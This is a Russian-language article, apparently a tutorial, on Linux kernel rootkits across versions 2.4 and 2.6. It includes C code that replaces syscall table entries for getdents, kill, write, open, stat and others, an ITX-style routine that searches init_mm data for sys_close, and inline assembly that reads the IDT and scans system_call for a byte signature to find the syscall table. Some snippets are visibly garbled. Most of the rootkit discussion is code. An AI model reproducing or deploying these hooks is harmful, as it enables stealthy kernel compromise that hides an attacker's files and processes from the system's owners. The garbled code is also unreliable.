export syscall_table;
extern void *sys_call_table[];
int (*o_getdents)(unsigned int, struct dirent *, unsigned int);
int (*o_kill)(int, int);
int (*o_write)(unsigned int, char *, size_t);
int (*o_fork)(struct pt_regs);
int (*o_clone)(struct pt_regs);
int (*o_close)(unsigned int);
int (*o_symlink)(const char *, const char*);
long (*o_mkdir)(const char *, int);
int (*o_stat)(char *, struct stat *);
int (*o_lstat)(char *, struct stat *);
int (*o_open)(char *, int, int);
int (*o_oldstat)(char *, struct __old_kernel_stat *);
int (*o_oldlstat)(char *, struct __old_kernel_stat *);
#ifdef __NR_stat64
int (*o_stat64)(char *, struct stat64 *, long);
#endif
#ifdef __NR_lstat64
int (*o_lstat64)(char *, struct stat64 *, long);
#endif
<...>
#define REPLACE(x) o_##x = sys_call_table[__NR_##x];\
             sys_call_table[__NR_##x] = n_##x
REPLACE(write);
REPLACE(getdents);
REPLACE(kill);
REPLACE(fork);
REPLACE(clone);
REPLACE(close);
REPLACE(open);
REPLACE(stat);
REPLACE(lstat);
REPLACE(oldstat);
REPLACE(oldlstat);
#ifdef __NR_stat64
REPLACE(stat64);
#endif
#ifdef __NR_lstat64
REPLACE(lstat64);
#endif
REPLACE(mkdir);
#ifdef __NR_getdents64
REPLACE(getdents64);
#endif
Нельзя сказать что коренные изменения произощедщие в ядре между версиями 2.4 и 2.6 были вызваны исключиельно вопросами безопасности. Однако мы поговорим о том что касается непосредственно руткитов. А в мире руткитов произошло падение гигантского метеорита, ледниковый период и глобальное потепление одновременно.
То есть был закрыт экспорт всех ключевых структур ядра. Следствием чего и явилось вымирание простых как две копейки руткитов первого поколения. На смену им пришли хищники иного рода.
Это поколение ориенировано на добывание табицы системных вызовов из неключевых структур ядра, остававшимися экспортируемыми. Только проблема в том что все эти структуры и объекты переставали быть экспртируемыми от версии к версии.
Мелкие, но проворные, идельно приспособленные к своей среде обитания они появлялись и исчезали вместе со средой.
Одним из наиболее характерных представителей данных руткитов является ITX (можно найти на античате либо в архиве здесь).
Он экспортировал из ядра адрес системного вызова sys_close() и ключевой структуры init_mm. Из init_mm извлекался адрес начала секции данных ядра, с которого начинался поиск участка памяти содержащий адрес системного вызова. Так как индексы системных вызовов в таблице известны заранее, то вычисление адреса начала таблицы системных вызовов не представляло сложностей. Далее стратегия внедрения руткита не отличалась от предыдущих версий.
unsigned long *find_sc(void){
   int i;
   unsigned long *ptr;
   unsigned long arr[4];
// импорт адрес открытого системного вызова
   extern int sys_close(int fd);
// определение адреса окончания секции кода
   ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);
// поиск в оставшихся секциях указатель на системный вызов
   while((unsigned long)ptr < (unsigned long)init_mm.end_data){
      if (*ptr == (unsigned long)((unsigned long *)sys_close)){
         for(i=0;i<4;i++){>> 16) &0x0000ffff;
      }
      if(arr[0] != arr[2] || arr[1] != arr[3]) {
         sys_call_table = (ptr - __NR_close); break;
      }
      ptr++;
   }
// возвращение указателя на системный вызов
   if(sys_call_table)
      return sys_call_table;
   return NULL;
}
Впервые данная технология была описана в статье Devik, Sd. «Linux on-the-fly kernel patching without LKM» 58 номера электронного журнала phrack.Основной принцип этой технологии состоит в том, что адрес таблицы системных вызовов содержится в функции system_call (см. заметку о работе механизма системных вызовов). Внутри неё осуществляется переход на нужный системный вызов путем выполнения машинной инструкции call eax*4+XXXXXXXX, где XXXXXXXX адрес таблицы системных вызовов. Данная команда может быть вычислена по сигнатуре ff 14 85 XX XX XX XX, вероятность повторения данной сигнатуры внутри функции стремится к нулю. Адрес функции system_call содержится в IDT (Interruption Description Table) по смещению 0x80.
// функция возвращает указатель на таблицу IDT
static int __get_int_handler(int offset)
{
    int idt_entry   = 0;
                            /* off2 << 16 | off1 */
    __asm__ __volatile__ (  "xorl %%ebx,%%ebx               \n\t"
                            "pushl %%ebx                    \n\t"
                            "pushl %%ebx                    \n\t"
                            "sidt (%%esp)                   \n\t"
                            "movl 2(%%esp),%%ebx            \n\t"
                            "movl %1,%%ecx                  \n\t"
                            "leal (%%ebx, %%ecx, 8),%%esi   \n\t"
                            "xorl %%eax,%%eax               \n\t"
                            "movw 6(%%esi),%%ax             \n\t"
                            "roll $0x10,%%eax               \n\t"
                            "movw (%%esi),%%ax              \n\t"
                            "popl %%ebx                     \n\t"
                            "popl %%ebx                     \n\t"
                            : "=a" (idt_entry)
                            : "r" (offset)
                            : "ebx", "esi" );
    return idt_entry;
}
//Достаем адресс таблицы системных вызовов
#define RETURN_SYSCALL_TABLE    0
#define RETURN_SYSCALL_CALL     1
static unsigned int __get_syscall_table(int idt_entry, int mode)
{
    unsigned char *p = (unsigned char *)idt_entry;
    unsigned int table;
    while (!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85)))
    {
        p ++;
    }
    table = *(unsigned int *)(p+3);
    if (mode == RETURN_SYSCALL_TABLE)
        return table;
    if (mode == RETURN_SYSCALL_CALL)
        return (unsigned int)p;
    return 0;
}